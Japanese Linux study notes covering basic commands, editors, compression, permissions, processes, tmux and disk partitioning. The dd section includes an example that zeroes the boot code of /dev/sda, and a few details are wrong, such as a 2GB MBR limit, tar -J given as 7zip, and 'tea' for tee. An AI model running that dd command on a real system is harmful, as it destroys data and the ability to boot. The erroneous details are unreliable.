manコマンド

manコマンドはオンラインマニュアルページを閲覧できるコマンド。 マニュアルを構成するファイルは/usr/share/manにある。

man <オプション> コマンド | キーワード
オプション説明
-a全てのセクションのマニュアルを表示
-f指定された完全一致のキーワードを含むドキュメントを表示
-k指定された部分一致のキーワードを含むドキュメントを表示
-wマニュアルの置かれているディレクトリの表示

4.2. ファイル操作の基本コマンド

4.2.1. 基本的なコマンド

lsコマンド

カレントディレクトリを基準にそこに存在するファイルを表示するコマンド。

ls <オプション>
オプション説明
-Aすべて表示
-l詳細表示
-dディレクトリ自身の表示
-iinode番号表示
-t日付順
-hファイルサイズ表示

cpコマンド

ファイルをコピー/上書きするコマンド。

cp <オプション> <移動元> <移動先>
オプション説明
-f強制上書き
-i対話モードで上書き確認
-pアクセス権/所有者などの保護
-r再帰的にコピーする(ディレクトリコピーには必須)

mvコマンド

ファイルを移動させるコマンド。

mv <オプション> <移動元> <移動先>

mkdirコマンド

ディレクトリを作成するコマンド。

mkdir <ディレクトリ名>
オプション説明
-m指定したアクセス権でディレクトリ作成
-p親ディレクトリも作る

rmコマンド

ファイルやディレクトリを削除するコマンド。

rm -rf <ファイル名>
オプション説明
-f強制的に削除
-r再帰的に削除
-i削除に確認をする

rmdirコマンド

空のディレクトリを削除するコマンド。

rmdir <ディレクトリ名>

touchコマンド

タイムスタンプの更新やファイルの作成を行うコマンド。

touch <ファイル名>
オプション説明
-aアクセス時間の更新
-m更新時間のみの更新
-tタイムスタンプの指定

fileコマンド

ファイルがテキストかバイナリか文字コードが何か確認するコマンド。

file <ファイル名>

typeコマンド

コマンドの実態を調査するコマンド。

type <コマンド>

whichコマンド

コマンドのフルパス(どこに存在するか)を教えるコマンド。

which <コマンド>

4.2.2. メタキャラクタ(正規表現)

メタキャラクタを用いることで絞り込みなどが行える。

メタキャラクタ説明
*0文字以上の任意の文字列
?任意の1文字
[]括弧内で列挙された文字のいずれか一文字
[!]括弧内で列挙された文字にマッチしない任意の一文字
{}フレーズ展開

4.2.3. ファイル内容の確認/操作を行うコマンド

catコマンド

ファイルの内容を表示するコマンド。 -nオプションで各行ごとに行番号を付加する。

cat <ファイル名>

headコマンド

ファイルの先頭n行を表示するコマンド。

head <オプション> <ファイル名>
オプション説明
-n先頭から表示する行数の指定
-行数先頭から表示する行数の指定
-c バイト数先頭から表示するバイト数の指定

tailコマンド

ファイルの末尾n行を表示するコマンド

tail <オプション> <ファイル名>
オプション説明
-n末尾から表示する行数の指定
-行数末尾から表示する行数の指定
-c バイト数末尾から表示するバイト数の指定
-fファイルの末尾に追加された行をリアルタイムで表示

cutコマンド

テキストファイルの各行から指定した部分の文字列を取り出して表示するコマンド。

cut <オプション> <ファイル名>
オプション説明
-c 文字数指定したテキストファイルから切り出す文字位置を指定
-d 区切り文字フィールドの区切り文字を指定
-f フィールド取り出すフィールドの指定

nlコマンド

文字列の行だけでなくヘッダ、本文、フッタの部分に分けて行番号を付けるコマンド。

nl -b a data.txt
オプション説明
-b パラメータ本文に行番号を付加
-h パラメータヘッダに行番号を付加
-f パラメータフッタに行番号を付加
パラメータ説明
a全ての行に番号をつける
t空白行には番号をつけない
n行番号の付加をつけない

odコマンド

バイナリファイルの内容をASCII文字、8進数、16進数のいずれかで表示するコマンド。

od -t x data.txt
オプション説明
-jバイナリファイルの bytes の場所から表示を開始
-t表示タイプの指定(以下のようなタイプを指定可能)
タイプ指定文字説明
a文字の名前
cASCII文字かバックスラッシュつきのエスケープ文字
d符号付きの10進数
f浮動小数点数
o8 進数
u符号なしの10進数
x16 進数

joinコマンド

2つのファイルを読み込み、共通のフィールドを持つ行の連結を行うコマンド。 -j 数字オプションで連結フィールを指定できる。

join -j 1 data1.txt data2.txt

pasteコマンド

1つ以上のファイルを読み込み、一致する行を区切り文字を使用して連結するコマンド。 -d 区切り文字オプションで区切り文字の指定が可能。

 paste -d"," date1.txt date2.txt

trコマンド

文字列の変換、削除を行うコマンド。

tr <オプション> <文字列1> <文字列2>
オプション説明
-d「文字列1」で合致した文字列の削除
-s連続するパターン文字列を1文字として処理
文字列の指定方法説明
[ :alpha:]英字
[ :lower:]英小文字
[ :upper:]英大文字
[ :digit:]数字
[ :alnum:]英数字
[ :space:]スペース

sortコマンド

行単位でファイルの内容をソートするコマンド。

sort <オプション> data.txt
オプション説明
-b行頭の空白を無視
-f大文字小文字の区別を無視
-r降順にソート
-n数字を文字ではなく数字として処理

uniqコマンド

並び替え済みのデータから重複行を削除して、1行にまとめて表示するコマンド。 重複行を削除するために、ファイルの内容をsortコマンドなどにより並び替えてから実行することが多い。

sort data.txt | uniq
オプション説明
-d重複している行のみ出力
-u前後の行と異なる行を表示

splitコマンド

指定サイズでファイルを分割するコマンド。

split -l 10 data.txt
オプション説明
-l 行数指定した行数でのファイル分割。-l を省力することも可能。
-b バイト指定したバイト数でのファイル分割。

prコマンド

印刷前に使用されるファイルの書式を整えるコマンド。

pr -l 30 +1:5 data.txt
オプション説明
+開始ページ [:終了ページ]開始ページや終了ページの指定
-h ヘッダ文字列ヘッダに表示されるファイル名を、指定した文字に変更
-l ページ長ヘッダとフッタを含めたページの長さを行数で指定

fmtコマンド

テキストファイルを決められた桁に整形するコマンド。 -w 文字幅オプションで位置行幅を指定可能。

fmt <オプション> <ファイル名>

expand/unexpandコマンド

expandコマンドはテキストファイルの中にあるタブをスペースに変換するコマンド。 unexpandコマンドはスペースをタブに変換するコマンド

expand/unexpand <オプション> <ファイル名>
expandのオプション説明
-i行頭のタブのみスペースへ変換。
-t 数値置き換える桁数の指定。タブ幅のデフォルトでは8桁
unexpandのオプション説明
-a行頭以外のスペースも変換。
-t 数値置き換える桁数の指定。デフォルトでは8桁。

wcコマンド

指定したファイルの行数、単語数、文字数を表示するコマンド。

wc data.txt
オプション説明
-c文字数だけの表示
-l行数だけの表示
-w単語数だけの表示

4.3. パイプとリダイレクト

4.3.1. 標準入出力

Linuxのコマンドは、標準入力、標準出力、標準エラー出力を処理するように作成されてる。 ストリームはデータの入出力に伴うデータの流れを指し、ディスプレイ出力、キーボード入力等すべてがこれに抽象化されている。

ストリームとしての基本的なインタフェースは以下の通り。

番号(ファイルディスクリプタ)入出力名デフォルト
0標準入力キーボード
1標準出力画面(端末)
2標準エラー出力画面(端末)

4.3.2. パイプ

パイプ\|標準出力を標準入力につなぐやつもののこと。 使用例は以下の通り。

ls | wc -l 
書式説明
コマンド1コマンド2
コマンド1 2>&1コマンド2
コマンド1tee ファイル

teeコマンド

teeコマンドは標準入力から読み込んでファイルに書き込み、次のコマンドへ実行結果を引き渡せられるもの。 使用例は以下の通り。

オプション-aでファイルに追記する。

ls -l | tea data.txt

4.3.3. リダイレクト

リダイレクトを使用することでコマンドの実行結果を画面上ではなくファイルに保存することが可能。

リダイレクト説明
>出力のリダイレクト
»出力をファイルに追記
<入力のリダイレクト
«入力終端文字の指定
2>エラー出力をファイルに設定し、コマンドを実行
2>&1標準出力とエラー出力をファイルに設定し、コマンドを実行

4.3.4. ヒアドキュメント

ヒアドキュメントは<<EOFで始まる特定の文字列(この例ではEOF)が現れるまで標準入力から入力を受け付けるもの。

14.1.5 - 5.Linuxのテキストエディタの使い方

vi/vim、nano等の使い方に関する説明

5.1. viの使用方法

Escで入力モードからコマンドモードへ切り替え。

5.1.1. viの基本的なコマンド

コマンド名説明
vi <ファイル名>ファイルを開くまたは新規作成する
vi Return キー新規ファイルを開く (ファイル名は後で指定)
vi -r <ファイル名>システムクラッシュ時のファイルを復元して開く
view <ファイル名>読み取り専用でファイルを開く

5.1.2. viのカーソル操作

コマンド名説明
h左に移動
l右に移動
k上に移動
j下の行の先頭文字 (空白ではない) に移動
0行頭へ移動( カーソルのある行の左端へ移動 )
$行末へ移動( カーソルのある行の右端へ移動 )
H画面の一番上の行頭へ移動
L画面の一番下の行末へ移動
ggファイルの先頭行へ移動
Gファイルの最終行へ移動
Ctrl-F1 画面先のページを表示
Ctrl-D半画面先にスクロール
Ctrl-B1 画面前のページを表示
Ctrl-U半画面前にスクロール

5.1.3. 文字と行の挿入

コマンド名説明
aカーソルの右にテキストを追加
A行の末尾にテキストを追加
iカーソルの左にテキストを追加
I行の先頭にテキストを挿入
oカーソルがある下の行にテキストを挿入
Oカーソルがある上の行にテキストを挿入

5.1.4. テキストの削除

コマンド名説明
xカーソルの文字を削除
Xカーソルの左文字を削除
dwワードの削除
dd行の削除
yyカーソル行のコピー
pカーソルの右側に張り付け
Pカーソルの左側に張り付け

5.1.5. 検索機能

入力キー説明
/文字列カーソル位置からファイル末尾に向かって、指定した文字列の検索
?文字列カーソル位置からファイル先頭に向かって、指定した文字列の検索
n上記の検索 ( /文字列、?文字列 ) による次の文字列の検索
N上記の検索 ( /文字列、?文字列 ) による次の文字列の検索 ( 逆方向 )

5.1.6. ファイルの保存とviの終了

コマンド名説明
ZZ上書き保存しviの終了
:w内容の保存
:q!保存せずに終了
:wq編集データを保存して終了
:wq!内容を上書き保存して終了

5.2. Nanoの使用方法

5.2.1. Nanoの起動と終了方法

コマンド名説明
nano <ファイル名>nanoでファイルを開くまたは新規作成する

5.2.2. Nanoの操作

コマンド名説明
Ctrl + O編集内容の保存
Ctrl + Xnanoの終了
Ctrl + KShift + ←→ で文字列の指定し文字列をカットする
Ctrl + U文字列のペースト
Ctrl + \文字列の置換
alt + U前回の操作を取り消す
Ctrl + W文字列検索
Ctrl + RCtrl + Tでカレントディレクトリ起点にファイル内容挿入

5.3. Vimの使用方法

14.1.6 - 6.ファイルとプロセスの管理

ファイルの圧縮/解凍、ファイルの権限、プロセス/ジョブ管理などに関して

6.1. 基本的なファイルの管理

6.1.1. ファイルの圧縮と解凍

ファイルの圧縮解凍

ファイルの圧縮解凍を行うコマンドはいくつかあり、gzip, bzip2, xzなどがある。

gzipbzip2xz
圧縮コマンドgzipbzip2xz
圧縮率低い高い
時間短い長い

gzipコマンド

ファイルを圧縮と解凍するコマンド。

gzip <ファイル>
オプション説明
-d圧縮ファイルを展開 (解凍)
-c圧縮ファイルを標準出力へ出力
-rディレクトリ内の全てのファイルを圧縮
-k圧縮前ファイル残す

gunzipコマンド

ファイルを解凍するコマンド。 gunzipコマンドは gzip -d と同じ実行結果が得られる。

gunzip <ファイル名>
オプション説明
-c出力を標準出力に展開して、元ファイルは変更しない
-fすでにファイルがある場合は上書きを行い、強制的に解凍
-rディレクトリ内の全てのファイルを再帰的に解凍

bzip2コマンド

gzipよりも処理時間はかかるが圧縮効率の高いコマンド。

bzip2 <オプション> <ファイル>
オプション説明
-d圧縮ファイルを展開 ( 解凍 )
-c圧縮ファイルを標準出力へ出力
-k圧縮前ファイル残す

xzコマンド

bzip2よりも処理時間はかかるが圧縮効率の高いコマンド。

xz <オプション> <ファイル>
オプション説明
-d圧縮ファイルを展開 ( 解凍 )
-c圧縮ファイルを標準出力へ出力
-k圧縮前ファイル残す

6.1.2. 圧縮ファイルの閲覧

zcat, bzcat, xzcatなどがある。

コマンド対応拡張子
zcat.gz
bzcat.bz
xzcat.xz

6.1.3. アーカイブの作成と展開

アーカイブとは

アーカイブは複数ファイルをまとめたもの。 ディレクトリ単位で圧縮を行うにはまずディレクトリをアーカイブにする必要がある。

tarコマンド

tarコマンドはファイルやディレクトリを1つのアーカイブファイルにしたり、圧縮/展開するコマンド。 デフォルトで圧縮しないため、tarコマンドで圧縮を行うためには-zオプションや、-jオプションを指定する必要がある。

tar <オプション> <ファイル>
オプション説明
-cアーカイブの作成
-xアーカイブからファイルの取り出し
-tアーカイブの内容の確認
-f ファイル名アーカイブファイル名の指定
-zgzip による圧縮 ・ 展開
-jbzip2 による圧縮 ・ 展開
-J7zip による圧縮 ・ 展開
-v詳細な情報の表示
-uアーカイブ内にある同じ名前のファイルより新しいものだけを追加
-rアーカイブにファイルの追加
-N指定した日付より新しいデータのみを対象とする
-M複数デバイスへの分割
–deleteアーカイブからファイルの削除

cpioコマンド

cpioはファイルをアーカイブファイルにコピーしたり、アーカイブからファイルをコピーできるコマンド。

ls | cpio -o > /tmp/backup
オプション説明
-i オプション パターンアーカイブからファイルを抽出
-o オプションアーカイブの作成
-p オプション ディレクトリファイルを別のディレクトリにコピー
オプション説明
-A既存のアーカイブファイルに追加
-d必要な場合にディレクトリの作成
-rファイルを対話的に変更
-tコピーせず、入力内容の一覧表示
-vファイル名の一覧表示

ddコマンド

入力側に指定したファイルからの入力をファイルまたは標準出力に送るコマンド。

dd if=/dev/zero of=/dev/sda bs=446 count=1
オプション説明
if= 入力ファイル入力側ファイルの指定
of= 出力ファイル出力側ファイルの指定
bs= バイト数入出力のブロックサイズの指定
count= 回数回数分の入力ブロックをコピー

6.2. ファイルを管理する設定値

6.2.1. ファイルの情報を表すパラメータ

ファイルの情報は以下のようにls -l fugafugaを行うと表示される。

drwxr-xr-x 3 wand docker 4096  2月 26 22:54 .

これは以下の情報を含む

  • d … ファイルのタイプ
  • wxr-xr-x … アクセス権(所有者, 所有グループ, その他のユーザ)
  • 3 … リンク数
  • wand docker … 所有者,所有グループ
  • 4096 … ファイルサイズ

アクセス権

Linuxで作成されるファイルやディレクトリにはアクセス権(パーミッション)が設定される。 これでユーザごとにファイルへのアクセスの許可または禁止を設定できる。

アクセス権表記説明
読み取りrread。ファイルの読み取りが可能 ( 内容表示など )
書き込みwwrite。ファイルへの書き込みが可能 ( 編集や上書きコピーなど )
実行xexecute。ファイルの実行が可能 ( プログラムやシェルスクリプトの実行 )

SUID

ユーザはUIDと呼ばれるID番号で管理されている。 SUID(Set User ID)は一時的に別のUIDのユーザに変更できる機能のこと

chmodコマンドでSUIDを設定する場合は4000をパーミッション設定時に加算、またはu+sを追加する。

chmod 4755 testdata.txt
chmod u+s testdata.txt

SGID

SGIDはSUIDは所有者の権限で動作するのに対して、グループの権限で動作する。

chmodコマンドでSGIDを設定する場合は2000をパーミッション設定時に加算、またはg+sを追加する。

chmod 2755 testdata.txt
chmod g+s testdata.txt

スティッキービット

スティッキービットは所有者とrootユーザのみが名前の変更と削除を行えるようにする仕組み。 全ユーザーがファイルを作成できるが作成したファイルを他人がファイル名の変更や削除をできないようにしたい場合に使用する。

chmodコマンドでスティッキービットを設定する場合は1000をパーミッション設定時に加算、またはo+tを追加する。

6.2.2. パーミッションの設定変更

chmodコマンド

アクセス権を変更するコマンド。 -Rオプションで指定したディレクトリ以下の全てのファイルのアクセス権の変更が可能。

chmod 644 text.txt
chmod go+w testdata.txt
カテゴリー説明
u所有者
gグループ
oその他のユーザ
a全てのユーザ
定義説明
+アクセス権の追加
-アクセス権の削除
-アクセス権の指定
権限説明
r読み取り権限
w書き込み権限
x実行権限
sSUID または SGID
tスティッキービット

umaskコマンド

umask値の確認とumask値の設定を行うコマンドでデフォルトのアクセス権を変更できる。

umask <マスク値>

passwdコマンド

パスワードを変更できるコマンド。 /etc/passwdに変更情報が保存される。

6.2.3. ファイルの所有者の管理

chownコマンド

所有者の変更を行うコマンド。実行にはroot権限が必要。 -Rで再帰的実行が可能。

chown root piyo

chgrpコマンド

グループの変更の変更を行うコマンド。一般ユーザーでも使用が可能。 -Rで再帰的実行が可能。

chgrp wand fuga

6.2.4. ハードリンクとシンボリックリンク

ファイルの実体とファイル名をつなぐ事をリンクと呼ばれ、リンクにはシンボリックリンクとハードリンクの以下の2種類がある。

ハードリンク

ハードリンクは1つのファイルの実体を複数のファイル名で表せるリンク。同じファイルの実体を共有する方式。 特徴は以下の通り。

  • iノード番号(ファイルやディレクトリと1対1で紐づく情報の番号)が同じ
  • リンク元のファイルが移動、削除されても、ファイルの実体にはアクセスできる
  • 異なるファイルシステム上のファイルやディレクトリにリンクできない

シンボリックリンク

シンボリックリンクはリンク元ファイルが配置されている場所にリンクする方式。 プログラミング言語におけるポインタの概念に近い。

特徴は以下の通り。

  • 新しいiノード番号が付与される
  • リンク元のファイルが移動、削除されると、リンク元のファイルの実体にアクセスできない
  • 異なるファイルシステム上のファイルやディレクトリにリンクできる

6.3. プロセスの管理

6.3.1. プロセスの監視

プロセスとは

プロセスはOSが動作中のプログラムを管理する基本単位OSが動作中のプログラムを管理する基本単位のこと。 ハードディスクからメモリ上に読み出され、実行されているプログラムがそれぞれ表される。

psコマンド

プロセス情報を確認するコマンド。 オプションは-つきとそうでないもの混在する。

ps aux #全部の実行中プロセス確認
オプション説明
a他のユーザーの全てのプロセスを表示
fプロセスの親子関係を表示
uプロセスのユーザー情報を表示
x端末を利用していない全てのプロセスを表示
-e全てのプロセスを表示
-lプロセスの詳細情報の表示
-p PID指定したプロセスID(PID)の情報のみ表示
-C プロセス名指定した名前のプロセスのみ表示
-w長い行を折り返して表示

画面表示例は以下の通り。

PID  TTY      STAT   TIME COMMAND
1358 tty1     Ssl+   0:00 /usr/lib/gdm3/gdm-wayland-session gnome-session -
1362 tty1     Sl+    0:00 /usr/lib/gnome-session/gnome-session-binary --aut
1380 tty1     Sl+    0:26 /usr/bin/gnome-shell

topコマンド

現在実行中のプロセスをリアルタイムに表示するためのコマンド。 デフォルトCPU使用量降順で表示される「q」で終了可能。

top

pstreeコマンド

プロセスの親子関係(親プロセス、子プロセス)を確認するコマンド。

pstree

6.3.2. プロセスの終了

killコマンド

killコマンドはプロセスにシグナルを送るコマンド。

kill <シグナルID> <プロセスID>
シグナルIDシグナル名動作
1HUPハングアップ
2INT割り込み(Ctrl + C)
9KILL強制終了
15TERM終了(デフォルト)
18CONT停止しているプロセスを再開
19STOP一時停止

pgrepコマンド

PID調べるコマンド。

pgrep <プロセス名>

killallコマンド

プロセス名指定してkillするコマンド。

killall <プロセス名>

pkillコマンド

プロセス名指定して-u, -gでプロセスの実行ユーザー・実行グループ指定しながらkillするコマンド。

pkill -u $(whoami) -SIGKILL bash

6.3.3. ジョブ管理

ジョブとは

ジョブはユーザーがコマンドやプログラムをシェル上で実行するひとまとまりの処理単位のこと。 パイプでつないだものは全体で1ジョブとなる。

フォアグラウンドジョブとバックグラウンドジョブ

ジョブにはフォアグラウンドジョブとバックグラウンドジョブの2種類がある。 通常はフォワグラウンドジョブで実行される。

ジョブ説明
フォアグラウンドジョブジョブの実行中は、シェルは停止する。
バックグラウンドジョブジョブとシェルが同時に動作して、シェルは停止しない。

コマンドラインの最後に & を追加することで、コマンドはバックグラウンドジョブで実行できる

ls -la &

jobsコマンド

実行中のジョブを確認できるコマンド。

jobs

nohupコマンド

ログアウト後も処理続行させるためのコマンド。

sudo nohup updatedb &

bgコマンド

停止中のジョブをバックグラウンドで動かすコマンド。

bg <ジョブ番号>

fgコマンド

バックグラウンドで動いているジョブをフォアグラウンドで動かすコマンド。

fg <ジョブ番号>

6.3.4. システム状況の確認

freeコマンド

システムの物理メモリとスワップメモリの使用量、空き容量を表示するコマンド。

free <オプション>
短いオプション意味
-bメモリの量をバイト単位で表示する
-kメモリの量をKB単位で表示する(デフォルト) ※
-mメモリの量をMB単位で表示する
-gメモリの量をGB単位で表示する
メモリの量をTB単位で表示する
-h読みやすい単位で表示する
単位を換算する際に1024ではなく1000で割って計算する
-lLowメモリとHighメモリの状況も表示する ※※
-t物理メモリとスワップメモリの合計を示す行も表示する
-s 間隔再出力の間隔を「ss.tt秒」で指定する(デフォルトは1回出力して終了する)
-c 回数再出力する回数を指定する(デフォルトは1回出力して終了する)

uptimeコマンド

システムの稼働時間、システムの平均負荷状況はuptimeコマンドにより確認できるコマンド。

uptime

以下情報が確認可能。

  • システム稼働時間
  • 現在ログイン中のユーザ数
  • システムの平均負荷状況

unameコマンド

システムやカーネルの情報を表示するコマンド。

uname <オプション>
オプション説明
-a, –all全ての情報を表示
-nネットワークノードとしてのホスト名を表示
-rカーネルのリリース番号を表示
-sカーネル名を表示(標準)
-vカーネルのバージョンを表示
-mマシンのハードウェア名を表示
-pプロセッサの種類を表示
-iハードウェアプラットフォームを表示
-oOS名を表示

watchコマンド

コマンドをn秒ごと(デフォルトでは2秒間隔ごと)に繰り返し実行させるコマンド。

watch <コマンド>
短いオプション意味
-tヘッダを表示しない
-eエラー時(実行したコマンドエラーコード0以外で終了したとき)はwatchコマンドも終了する
-bエラー時にはビープ音を鳴らす
-d直前の実行結果から変化した箇所をハイライト表示する。「permanent」または「cumulative」オプションを付けると初回実行時から変化した箇所を表示する(「-d=permanent」のように指定)
-cANSIによるスタイル指定を行う
-g実行結果が変化したらwatchコマンドを終了する
-n 秒数実行間隔を秒数で指定する(設定できる最小値と最小間隔は0.1秒)
-p実行のタイミングを厳密にする
-x指定したコマンドを「sh -c」ではなく「exec」コマンドで実行する

6.4. プロセスの実行優先度設定

6.4.1. プロセスの実行優先度の変更

プロセスの実行優先度を変更することにより、CPU時間を多く割り当てる事が可能。 設定はnice値(値域[-20,+20])という小さいほど優先順位高いの値で設定ができる。

6.4.2. プロセスの実行優先度に関するコマンド

niceコマンド

コマンド実行時の優先度指定を指定できるコマンド。

nice -n -10 <プロセス名>

reniceコマンド

実行中プロセスの優先度変更ができるコマンド。

renice -10 -p 1200

6.5. 複数端末の使用

6.5.1. ターミナルマルチプレクサ

ターミナルマルチプレクサは一つの端末画面の中に複数の仮想端末を作成/切り替えができる仕組み。 デタッチ/アタッチ機能、つまり各ウィンドウの作業状況を保ったまま終了/再開が可能。

有名なターミナルマルチプレクサとしてはtmuxscreenがある。

6.5.2. Tmuxの使い方

起動/操作コマンド

コマンド説明
tmuxセッションを起動
tmux new -s 名前名前付きセッションを起動
exitセッションを終了
Ctrl-b dセッションを一時的に中断してメインに戻る (Detach)
tmux a中断していたセッションに戻る (Attach)
tmux a -t 名前中断していた名前付きセッションに戻る
Ctrl-b sセッションの一覧を表示
tmux list-sessionsセッションの一覧を表示
tmux kill-session -t 名前指定したセッションを終了

ウィンドウ操作

コマンド説明
Ctrl-b c新規ウィンドウを作成 (Create)
Ctrl-b 数字数字で指定したウィンドウに移動
Ctrl-b n次のウィンドウに移動 (Next)
Ctrl-b p前のウィンドウに移動 (Prev)
Ctrl-b l以前のウィンドウに移動 (Last)
Ctrl-b wウィンドウの一覧を表示 (Window)
Ctrl-b ,ウィンドウ名を変更
Ctrl-b 'ウィンドウ番号を指定して移動
Ctrl-b .ウィンドウ番号を変更
Ctrl-b &ウィンドウ名を終了 (確認付き)
exitウィンドウを終了

14.1.7 - 7.パーティションとファイルシステム

Linuxのパーティション/ファイルシステムに関して

7.1. ハードディスクとその関連規格

7.1.1. Linuxにおけるハードディスクの利用方法

Linuxでハードディスクを使用するには以下のステップを行う必要がある。

  1. 電源OFFの状態で、ハードディスクをシステムに物理的に接続
  2. 追加したハードディスクのデバイスファイルが作成されていることを確認
  3. ハードディスクにパーティションを切る(fdiskコマンド)
  4. 各パーティションにおいてext3ファイルシステムを作成(mke2fsコマンド)
  5. ファイルシステムのマウント(mountコマンド)

7.1.2. ハードディスクの接続規格

HDDの接続規格には以下のようにある。

HDDの接続規格説明
SATA (Serial ATA)現在主流の規格。IDEよりもデータ転送速度が速い。
IDE (Integraded Drive Electronics)SATAが出てくる前まで主流だった規格。
SAS (Serial Attached SCSI)SATAより高速・高信頼性のある企画。サーバ用に使用される。
SCSI (Small Computer System Interface)さまざまな周辺機器を接続する一般的な規格。高速、高価でありSCSIカードが必要。
USB (Universal Serial Bus)USBポートを持つ外付けのHDDを接続する際に使用される規格。

7.1.3. デバイスファイル

起動中にハードディスクを新しく検出すると、検出されたデバイスを操作するためのデバイスファイルが/devディレクトリに自動的に追加される。 デバイスの命名規則は以下の通り。

デバイスファイル説明
/dev/hdaプライマリのマスターに接続したHDD
/dev/hdbプライマリのスレーブに接続したHDD
/dev/hdcセカンダリのマスターに接続したHDD
/dev/hddセカンダリのスレーブに接続したHDD
/dev/sda1番目のSCSI/SATA/USBに接続したHDD
/dev/sdb2番目のSCSI/SATA/USBに接続したHDD
/dev/sdc3番目のSCSI/SATA/USBに接続したHDD
/dev/sdd4番目のSCSI/SATA/USBに接続したHDD
/dev/sr01番目のCD/DVDドライブ
/dev/st01番目のテープドライブ

lsblkコマンド

ブロックデバイスを一覧するコマンド。

lsblk

7.2. パーティションの種類

7.2.1. パーティションとは

パーティションは1台のディスクドライブを分割する論理的な区画のこと。 パーティションごとに異なるファイルシステムを作成することが可能

パーティションには基本パーティション、拡張パーティション、論理パーティションの種類がある。

基本パーティション

基本パーティションはディスクに最大4つまで作れることができるパーティション。 ディスク/dev/sdaに対して/dev/sda1-/dev/sda4と命名される。

MBRのうち64バイト(16x4)はこの情報に充てられ、ファイルシステムが格納される。

拡張パーティション

拡張パーティションは基本パーティションの1つを拡張パーティションにしたもので、ファイルシステムではなく論理パーティションが格納される基本パーティションのうち1つのみしか拡張パーティションとして使用できない

論理パーティション

論理パーティションは拡張パーティション内に作成されたパーティションのこと。 デバイスファイルの命名測は必ず5番から始まる。

7.2.2. UEFIベースのシステム分割

UEFIでは拡張パーティション、論理パーティションは存在しない

7.2.3. パーティションに分割するメリット

パーティション分割のメリットは以下の通り。

  • 障害による被害をパーティション内に限定させる
  • 空き容量が足りなくなった場合の影響を少なくする
    • ログであふれた場合など

7.2.4. パーティション形式のMBRとGPT

MBRとGPTはパーティション形式。

MBRGPT
ハードディスク制限2GB-
基本パーティション4個128

MBR

MBR(Master Boot Record)は1983年にIBM PC DOS 2.0に初発表された古いディスクタイプのこと。 BIOSをサポートする。

MBR

MBRセクターとパーティションで構成される。 特徴は以下の通り。

  • 基本パーティションと拡張パーティションといった2種類のみを作成可能
  • 最大4つのパーティションが作成可能
  • MBRディスクの最大容量の制限が2TB

GPT

GPT(GUIDパーティションテーブル)はMBRより新しい規格。 UEFIをサポートする。

GPT

保護MBRとプライマリーGPTヘッダ、パーティションエントリで構成される。 特徴は以下の通り。

  • 基本的には無制限なパーティションが作成可能
  • windowsではパーティションを最大128個作成可能
  • 拡張パーティション、論理パーティションがない
  • MBRディスクより安全性と信頼性が高い

7.3. ルートファイルシステム

ルートファイルシステムは/を含むファイルシステムのこと。 Linuxシステムを構築する際は複数のパーティションを用意し/var, /homeなどのディレクトリは別のパーティションを割り当ててマウントするのが一般的となる。なおこの場合は/var/homeなどは独立したファイルシステムとなる。

なお必ずルートファイルシステムに置く必要のあるディレクトリは以下の通り。

  • /bin … システムに必要なコマンド、プログラム。一般ユーザー用
  • /sbin … システムに必要なコマンド、プログラム。管理者用
  • /etc … システムの設定ファイル群
  • /lib … 共有ライブラリ
  • /dev … デバイスファイル

7.4. パーティション管理のコマンド

7.4.1. fdiskコマンド

パーティションの作成、削除、変更、情報表示等ができるコマンド。

fdisk <オプション> <デバイスファイル>

情報表示

-lオプションで現在のパーティションテーブルの状態を表示する。

fdisk -l /dev/sda

対話形式でパーティションの管理を行う

パーティションの作成、削除、変更、情報表示のためには、fdiskコマンドを使用する。

fdisk /dev/sda
操作コマンド説明
m使用可能なサブコマンドの一覧表示
p現在のパーティションテーブルの表示
n新しいパーティションテーブルの作成
d既存のパーティションテーブルの削除
l設定可能なパーティションタイプの一覧表示
aブートフラグをオン、またはオフにする
tパーティションタイプの設定、変更
wパーティションテーブルの変更を保存して終了
qパーティションテーブルの変更を保存せずに終了

7.4.2. gdiskコマンド

GPTを使用してパーティションの作成、削除、変更、情報表示等ができるコマンド。

gdisk <オプション> <デバイスファイル>

情報表示

-lオプションで現在のパーティションテーブルの状態を表示する。

gdisk -l /dev/sda

対話形式でパーティションの管理を行う

パーティションの作成、削除、変更、情報表示のためには、gdiskコマンドを使用する。

gdisk /dev/sda
操作コマンド説明
lパーティションタイプを一覧表示する
nパーティションを作成する
dパーティションを作成する
pパーティションテーブルを作成する
tパーティションタイプを変更する
wパーティションテーブルの変更を保存して終了する
qパーティションテーブルの変更を保存しないで終了する
?ヘルプメニューを表示する。

7.4.3. partedコマンド

MBR,GPT両対応したパーティションの作成、削除、変更、情報表示等ができるコマンド。

parted <オプション> <デバイスファイル>

情報表示

-lオプションで現在のパーティションテーブルの状態を表示する。

parted -l /dev/sda

対話形式でパーティションの管理を行う

パーティションの作成、削除、変更、情報表示のためには、paretdコマンドを使用する。

parted /dev/sda
操作コマンド説明
mklabel ラベル新しいラベルを作成する。2TB以上のディスクの場合は「gpt」を指定してGPT、それ以下の場合は「msdos」を指定してMBRにパーティション構成を
格納する。loop/bsd/macなども使用できる。
mkpart パーティションタイプ開始場所,終了場所パーティションタイプはprimary(基本パーティション)、extend(拡張パーティション)、logicalを指定する。
指定した開始から終了までの領域でパーティションを作成する
(例:0MBから150MB、0%から15%などのように指定する)
mkfs 番号 ファイルシステム指定したパーティション番号に指定したファイルシステムを作成する。ファイルシステムにはfat16/fat32/ext2/linux-swapなどが選択できる。
それ以上のファイルシステムは別コマンドを利用する必要がある
printパーティション情報を表示する
quitpartedを終了する
resize パーティション番号開始 終了指定した番号のパーティションを開始、終了で指定する領域にサイズ変更する。ファイルシステムが既に作られている必要がある
rm パーティション番号指定した番号のパーティションを削除する
select デバイス指定したデバイスを対象に扱う
unit 単位デフォルトのサイズ単位を指定する。TB/TiB/GB/GiB/MB/MiBなどを指定できる
set パーティション番号 フラグ 状態指定したフラグを設定する。フラグは「boot」、「root」、「swap」など、状態を「on」「off」を指定する
help利用できるコマンドを表示する

7.5. ファイルシステム

7.5.1. ファイルシステムとは

ファイルシステムはパーティション上に作成されるもので、ファイルシステムの作成によりファイルが保存できるようになる。 ファイルシステムは以下要素で構成される。

  • ファイルの中身情報
  • inode(Indexノード) * ファイルの属性 * 管理データ

7.5.2. ファイルシステムの種類

ファイルシステムは以下のようなものがある。

Linux向けのファイルシステム

ファイルシステム説明
ext2標準
ext3ext2機能+ジャーナリング機能
ext4ext3+拡張機能

UNIX系OSから移植されたファイルシステム

ファイルシステム説明
XFSSGI社が開発。ジャーナリング機能あり
JFSIBM社が開発。ジャーナリング機能あり

その他のファイルシステム

ファイルシステム説明
Brtfs高機能なファイルシステム
